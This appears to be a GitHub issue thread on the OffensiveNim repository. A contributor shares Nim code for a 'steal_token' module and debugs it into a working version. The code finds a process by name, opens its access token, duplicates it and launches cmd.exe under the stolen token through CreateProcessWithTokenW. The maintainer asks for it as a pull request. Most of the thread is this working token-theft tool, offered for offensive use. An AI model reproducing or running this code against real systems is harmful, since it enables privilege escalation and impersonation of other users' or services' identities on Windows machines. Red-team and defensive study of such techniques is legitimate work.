byt3bl33d3r / OffensiveNim

My experiments in weaponizing Nim (https://nim-lang.org/)

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

[Contribution]: steal token

rafale0n opened this issue · comments

Hey I was wondering if I could get your help with this one. I have tried to expand on what you have already done and been working on steal_token module for offensive Nim. Here is what I have so far:


import winim
import strutils

proc toString(chars: openArray[WCHAR]): string =
    result = ""
    for c in chars:
        if cast[char](c) == '\0':
            break
        result.add(cast[char](c))

proc GetLsassPid(name: string): int =
    var 
        entry: PROCESSENTRY32
        hSnapshot: HANDLE

    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    defer: CloseHandle(hSnapshot)

    if Process32First(hSnapshot, addr entry):
        while Process32Next(hSnapshot, addr entry):
            if entry.szExeFile.toString == name:
                return int(entry.th32ProcessID)

    return 0

#proc GetTokenInformation(TokenHandle: HANDLE;
#                          TokenInformationClass: TOK_INFO_CLASS;
#                          TokenInformation: LPVOID;
#                          TokenInformationLength: DWORD; ReturnLength: PDWORD): WINBOOL {.
#    stdcall, dynlib: "advapi32", importc: "GetTokenInformation".}

when isMainModule:
    var name: string = readLine(stdin)
    let processId: int = GetLsassPid(name)
    if not bool(processId):
        echo "[X] Unable to find: ", name, " process"
        quit(1)
    else:
        echo "Found: ", name, " with PID: ", processId

    var
      process_token: HANDLE
      duplicateTokenHandle: HANDLE

    var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
    if not (bool)hProcess:
      raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening handle on: ", name, " ", (bool)hProcess
      echo "    \\-- Handle ID is: ", hProcess  

    var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
    if not bool(getToken):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening process token: ", (bool)getToken
      echo "    \\-- Handle ID is: ", getToken  
      echo "    \\-- Process Token ID is: ", process_token  

    # This is failing with error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid.
    var tokenDuplication: HANDLE = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, cast[SECURITY_IMPERSONATION_LEVEL](SecurityImpersonation), cast[TOKEN_TYPE](tokenPrimary), cast[PHANDLE](addr(duplicateTokenHandle)))
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "TokenDuplciation status: ", bool(tokenDuplication)
         

At the moment I cannot get DuplicateTokenEx to work and I am not sure what I am doing wrong. It is failing with above error and was wondering if you could ever be so kind to take a look.

Many thanks for everything.

I should mentioned, that I executed following program with Administrative privileges.

Problem solved with changing SecurityImpersonation to securityImpersonation :)


    var tokenDuplication = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, securityImpersonation, cast[TOKEN_TYPE](tokenPrimary), &duplicateTokenHandle)
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "TokenDuplciation status: ", bool(tokenDuplication)

Here is the working solution:

import winim
import strutils

proc toString(chars: openArray[WCHAR]): string =
    result = ""
    for c in chars:
        if cast[char](c) == '\0':
            break
        result.add(cast[char](c))

proc GetProcessPid(name: string): int =
    var 
        entry: PROCESSENTRY32
        hSnapshot: HANDLE

    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    defer: CloseHandle(hSnapshot)

    if Process32First(hSnapshot, addr entry):
        while Process32Next(hSnapshot, addr entry):
            if entry.szExeFile.toString == name:
                return int(entry.th32ProcessID)

    return 0

when isMainModule:
    var name: string = readLine(stdin)
    let processId: int = GetProcessPid(name)
    if not bool(processId):
        echo "[X] Unable to find: ", name, " process"
        quit(1)
    else:
        echo "[*] Found ", name, " with PID: ", processId

    var
      process_token: HANDLE
      duplicateTokenHandle: HANDLE
      si: STARTUPINFO
      pi: PROCESS_INFORMATION

    var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
    if not (bool)hProcess:
      raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded opening handle on ", name, ": ", (bool)hProcess
      echo "    \\-- Handle ID is: ", hProcess  

    var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
    if not bool(getToken):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded opening process token: ", (bool)getToken
      echo "    \\-- Process Token ID is: ", process_token  

    var tokenDuplication = DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, securityImpersonation, tokenPrimary, &duplicateTokenHandle)
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded duplicating ", name, " token: ", bool(tokenDuplication)

    var spawnConsole = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_NETCREDENTIALS_ONLY, r"C:\Windows\System32\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if not bool(spawnConsole):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded creating elevated command prompt: ", bool(spawnConsole)

@rafale0n heya, this is dope! would you mind opening a pull request with this ? would make it easier for me to merge this in.
Cheers!

#52
Here is my contribution if you want...